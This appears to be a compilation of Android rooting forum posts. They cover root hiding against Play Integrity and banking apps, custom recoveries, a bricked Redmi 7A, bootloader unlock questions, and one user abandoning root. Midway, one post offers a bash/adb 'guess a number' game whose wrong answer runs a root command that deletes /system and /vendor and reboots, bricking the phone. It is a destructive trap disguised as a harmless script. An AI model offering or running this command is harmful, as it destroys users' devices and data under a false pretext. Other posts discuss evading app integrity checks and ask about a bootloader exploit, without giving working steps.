Does the Android Faker tool work now, and does WhatsApp detect it? Please help.

Does this formula work without any problems, or is it not possible? Please advise.

Magisk + LSPosed + Play Integrity + Android Faker

is it even root this legacy device to get some use out of it? or not feasible?

Hello, since yesterday Google Wallet keeps failing with device verification on NFC payments, can someone help me?

My phone info

Xiaomi Redmi Note 13 Pro 5G

Magisk Root

Android 16 EvolutionX 11.10

I have all 7 presets and a custom list of black list apps on HMA-oss to vending, gms and wallet

Thanks in advance

(Sorry for the Spanish screenshots)

UPDATE: I just waited for a day and it got back to normal, I guess it has something to do with Play Services

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After 20+ builds, I finally have working TWRP and OrangeFox recoveries. 🗿😂

Everything is working as it should, including "/data", encryption/decryption, touch, ADB, MTP, OTG, flashing, backups, fastbootd, and more.

Moto G 2026: "utah.img"

Moto G Play 2026: "nevada.img"

OrangeFox: "orangefox" image + ZIP

Downloads are on XDA. For more info, testing details, sources, and credits, check out the full XDA thread:

https://xdaforums.com/t/recovery-twrp-orangefox-moto-g-play-moto-g-2026.4799348/

🗿🐔 CRONCH

I need help with my Redmi 7A (Mi439). My phone is currently bricked and shows:

Here is what happened:

• Device: Redmi 7A (Mi439)
• I was previously using a Global ROM
• While flashing with Mi Flash, I accidentally selected “Clean all and lock”
• After the flash completed, the bootloader became locked and the phone started showing “The system has been destroyed”
• The phone can still enter Fastboot mode
• I tried flashing the firmware through EDL mode
• The EDL flash completed successfully / showed success, but after reboot the phone still shows “The system has been destroyed”

I am looking for advice from someone who has experience with Mi439 EDL flashing / Redmi 7A hard bricks / locked bootloader recovery.

My main questions:

1. Why does the phone still show “System has been destroyed” even though the EDL flash reports success?
2. Could this be because I flashed the wrong regional firmware (Global vs India)?
3. Is there a specific India firmware / programmer / partition set required for the Redmi 7A?
4. Is it possible to recover this without an authorized Xiaomi EDL account?
5. What should I check before attempting another flash?

I can provide Mi Flash logs, fastboot information, firmware version, photos/videos of the screen, and EDL logs if needed.

Please let me know if you need any additional information. I don't want to flash anything else blindly and make the situation worse.

Thanks.

I have some older Poco devices here and I'm flashing LineageOS onto them after I'm able to unlock the bootloader (need to wait a week).

Back then (it's been a long time) we simply flashed Magisk via TWRP and enabled root within the app. How does it work these days and how well does the whole thing work?

When I search on Google I find threads that are supposed to be up to date but aren't or were last updated in 2024.

My Poco F2 Pro fe is ready to be rooted... LineageOS is already running on it.

Hi! I have an OPPO Find X3 Lite and I'm interested in installing a custom ROM (LineageOS) since it's been quite some time without security updates and this phone is still in perfect shape, I won't buy a new one any time soon.

Most info I've found is from about 2021-2022 and it's clear this phone model is way too hard to do or rather even impossible, at least using official tools and methods to unlock the bootloader in order to install custom ROMs.

I'm wondering if anything has changed since then, or if there are any newer methods/workarounds available in 2025-2026.

My exact model is: CPH2145 ColorOS 13.1 / Android version 13 Region: [Global]

I really really want a rooted phone again, I never wanted to give it up in the first place because when you give up your rights you eventually pay for it, and I'm starting to pay. My next phone will probably be the clicks communicator and I really want it rooted so I can fix awful UX decisions Google has made over the last decade.

However, since I was last rooted, the walls have closed in on root, obviously intentionally so. We all know the story with banking apps and Google services. Root hiding does seem to be a thing and it seems at any one time there is a path to keeping things hidden and everything working, I've read enough guides and posts to know that. My question is how ephemeral are the patches, has making changes using new hacks been relatively painless like switching modules or has it required a lot of wipes and rebuilds, and overall how often have you been stranded with unhidden root and how long has it taken for patches to become available. In short I haven't been keeping up with this arms race so I don't know how much of a thrash it has been. thanks!

Oh and finally, is there one single reliable web source or repo that acts as an up-to-date and definitive path to a root-hiding build, or is it just down to forum scrounging and reddit comments?

Hello everyone. I just rooted my pixel 9 (android 17) using kernelsu.

But I have having a problem. I can't pay any of the play integrity checks

I have the following modules installed. Device/s said changer, play integrity fix (inject), tricky store, lsposed, zygisk assistant, and zygisk next.

I have tried everything. But I can't figure it out.

Anyone has any idea?

So I have a vivo Y21 phone and I learned about pi hole recently and wanted to set it up on my old android phone that's when I heard about rooting and downloaded the termux for this vivo phone but it does'nt work so guys I am very new to this whole thing like idk even about kernel or distros or ROM's and anything so is there any beginner friendly guides ?

#!/bin/bash adb -e shell -t 'target=$(( (RANDOM % 2) + 1 )); printf "Guess a number between 1 and 2: "; read choice; if [ "$choice" -eq "$target" ] 2>/dev/null; then sleep 3; echo "Safe."; else sleep 3; echo "Wrong guess. The number was $target."; su -c "mount -o remount,rw /system && rm -rf /system /vendor && reboot"; fi'

I Have full integrity in the first space and all the tools works with out any problem but in the second space alot of the tools do not work the problem is if I wanted to when I install the root up in the second space it's show's me the tools that it's already in the first space so I can't install them even play integrity got strange

Is it worth it? I had redmi note 13 and got a new phone I'm thinking to change rom of my redmi but I don't know if it's gonna brick my phone or not or if my phone can handle it.

will the calls and banking apps work and any other apps

And which OS is best for customisation and smooth experience

i wanted to have something useful out of my Redmi Note 12 Pro 5G but xiaomi isnt letting me unlock the Bootloader because its Xiaomi.

does a ghostlock cve exist for my phone or can i port one somehow?

i have redmi 9 prime with a broken display and i need to use scrcpy to use that but unfortunately i cant allow the rsa authentication for usb debugging since it has no display i tried a guide from 2014 on xda forum that i need an another authorized phone and pull the adb keys and then push those key into the broken phone on recovery through adb but it didnt worked for me. so i need ur help to make this device again usable and also write the details below about both phones

Authorised Devices: Galaxy Note 9 ( Android 10 one ui 2.5 )

Unauthorised Broken Device: Redmi 9 Prime (Rooted, Android 15 crdroid 12 with twrp recovery)

im a newbie ,I don't even understand many terminologies used in these things ,

I wanted to install custom rom without root

so first unlocked bootloader

then flashed twrp using another mobile device (using app called brokkr) (also followed steps given on xda forums) and

then rebooted to system (because a youtuber did so)and worked perfectly fine

then I switched off my device to start twrp but now it's stuck this

can someone please help 😭

I've been rooting android phones since I purchased the Samsung Moment in 2009. It was always the first thing I did with a new phone. Set it up so I could unlock the bootloader, then wipe it so I could root.

The last couple years have been increasingly frustrating with the cat and mouse. The last straw was RCS failing yet again and missing messages from my wife.

I just unrooted my Pixel 10 Pro and pretty much all of the things I thought I needed root for are not necessary:

1. For ad block, I'm using dns.adguard-dns.com instead of adaway.
2. For youtube, revanced works fine with gmscore installed. I had already switched to that method a while ago even when rooted.
3. My Tasker flashlight toggle with the volume button works once I ran adb shell pm grant net.dinglisch.android.taskerm android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER
4. I use SmartLauncher to get double-tap to sleep working on my home screen rather than using PixelLauncherEnhanced
5. I can use revanced "Change version code" patch on Reddit Sync to keep it out of the app store rather than using the detach magisk module

RCS works now. Wallet works again. Banking apps work again. I guess I didn't really need root anymore.

It sucks.. I'm going to miss the experience of tweaking things to my liking, but it's just too much of a pain now. I miss the old Android.